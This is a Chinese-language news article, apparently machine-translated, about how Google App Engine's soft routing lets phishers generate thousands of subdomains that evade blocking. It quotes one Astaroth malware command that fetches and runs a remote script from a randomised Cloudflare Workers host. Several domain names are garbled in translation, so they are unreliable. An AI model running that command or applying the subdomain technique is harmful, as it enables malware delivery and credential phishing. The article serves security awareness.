“Google App Engine”被滥用来创建无限钓鱼页面

2020-09-27 22:36:11

一位研究人员新发现的一项技术展示了谷歌的App Engine域名如何被滥用来提供网络钓鱼和恶意软件,同时又不被领先的企业安全产品检测到。

Google App Engine是一个基于云的服务平台,用于在谷歌的服务器上开发和托管各种网络应用。

虽然有关利用企业云域的网络钓鱼活动的报道并不新鲜,但是什么让Google App engine基础设施在子域的生成和路径路由方面存在风险。

通常,诈骗者使用云服务创建恶意应用程序,并为其分配一个子域。然后,他们会在那里托管钓鱼页面。或者,他们可能会将这款应用程序用作命令和控制(C2)服务器,以提供恶意软件有效负载。

但URL结构通常是以一种方式生成的,如果需要,使用企业安全产品可以很容易地监控和阻止它们。

例如,托管在Microsoft Azure服务上的恶意应用程序可能具有如下的网址结构:https://example-subdomain.app123.web.core.windows.net/...。

因此,网络安全专业人员可以通过简单地阻止进出此子域的请求来阻止进出此特定应用的流量。这不会阻止与其他使用其他子域的Microsoft Azure应用程序进行通信。

安全研究员马塞尔·阿夫拉希姆(Marcel Afrahim)展示了谷歌应用程序引擎(Google App Engine)子域生成器的一种有意设计,该生成器可被滥用来将应用程序基础设施用于恶意目的,而所有这些都不会被发现。

在本例中,子域不仅代表应用程序,还代表应用程序的版本、服务名称、项目ID和区域ID字段。

但这里要注意的最重要的一点是,如果这些字段中有任何一个是错误的,谷歌应用程序引擎不会显示404找不到页面,而是显示应用程序的默认页面(这一概念被称为软路由)。

为目标服务中的流量配置的任何版本都会接收请求。如果您的目标服务不存在,请求将被软路由,";表示Afrahim,并补充道:

";如果请求与主机名的PROJECT_ID.REGION_ID.r.apppot.com部分匹配,但包含不存在的服务、版本或实例名称,则该请求将被路由到默认服务,该服务本质上是您的应用程序的默认主机名。";

从本质上说,这意味着有很多子域的排列才能到达攻击者的恶意应用程序。只要每个子域都有一个有效的";PROJECT_ID&34;字段,攻击者就可以随意使用其他字段的无效变体来生成长长的子域列表,这些子域都会导致相同的应用程序。

例如,如Afrahim所示,下面的两个URL-看起来截然不同-代表了托管在Google App engine上的同一个应用程序。

单个恶意应用程序现在由其子域的多个排列表示,这一事实使得系统管理员和安全专业人员很难阻止恶意活动。

但更进一步,对于一个不懂技术的用户来说,所有这些子域似乎都是一个安全的网站。毕竟,Gapppot.com域名及其所有子域名在他们的SSL证书中都加盖了谷歌信托服务的安全印章。

此外,大多数企业安全解决方案(如Symantec WebPulse Web Filter)都会自动允许流量进入受信任的类别站点。此外,谷歌旗下的iapppot.com域名,由于其声誉和合法的企业使用案例,获得了办公/商业应用程序的标签,从而跳过了对网络代理的审查。

最重要的是,大量的子域变化使得基于危害指示器(IOC)的快速阻止方法变得毫无用处。

由Afrahim创建的一款测试应用程序的屏幕截图,以及详细的操作指南,实际演示了这一行为。

在过去,Cloudflare的第二代域名存在类似的设计缺陷,Astaroth恶意软件会通过以下命令轮获取Stage 2有效负载来利用该缺陷:

%ComSpec%/c“ECHO GetObject(”脚本:hxxps://xsw%RANDOM%nnccccmd95c22[.]cloudflareworkers[.]com/.edgeworker-fiddle-init-preview/6a8db783ccc67c314de2767f33605caec2262527cbed408b4315c2e2d54cf0371proud-glade-92ec.ativadormasterplus.workers.dev/?09/”)”>;%Temp%\Lqncxmm:vbvvjjh.js&;&;start wscript.exe%Temp%\Lqncxmm:vbvjjh.js“。

这实际上会启动一个Windows命令提示符,并将一个随机数替换为%Random%,从而使有效负载URL真正变得更加动态。

现在,您有了一个脚本,该脚本在每次运行时从不同的URL主机名下载有效负载,并且会使这种假设示例的网络IOC变得毫无用处。研究人员表示,如果脚本稍加修改,依赖于单次运行沙箱来获得自动化IoC的解决方案将因此获得新的网络IoC,并可能获得新的文件IoC。

安全工程师和五角大楼的Yusuke Osumi上周在推特上写道,托管在Aapppot.com子域名上的一个微软钓鱼页面是如何利用Afrahim详细描述的设计缺陷的。

Osumi还编译了一份由钓鱼应用动态生成的2000多个子域的列表-所有这些子域名都指向同一个钓鱼页面。

最近的这个例子将讨论的焦点从如何潜在地利用谷歌App Engine的缺陷,转移到了利用设计缺陷的活跃的网络钓鱼活动上。

在谷歌的App Engine上使用Google Drive/Service网络钓鱼套件,普通用户不会意识到要求凭据的不是谷歌,“Afrahim在他的博客帖子中总结道。

一些在企业环境中工作的读者已经通知beepingcomputer观察到其他钓鱼攻击,并积极利用Google App Engine。

下面显示的内容看起来像是托管在apppot.com域上的Excel Online电子表格。发送给公司员工的网络钓鱼电子邮件中包含指向电子表格的链接。